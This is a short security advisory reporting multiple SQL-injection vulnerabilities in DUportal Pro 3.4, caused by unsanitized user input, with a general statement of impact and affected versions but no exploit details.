DUportal Pro is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.
  
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
  
These vulnerabilities are reported to affect DUportal Pro 3.4; earlier versions may also be affected.
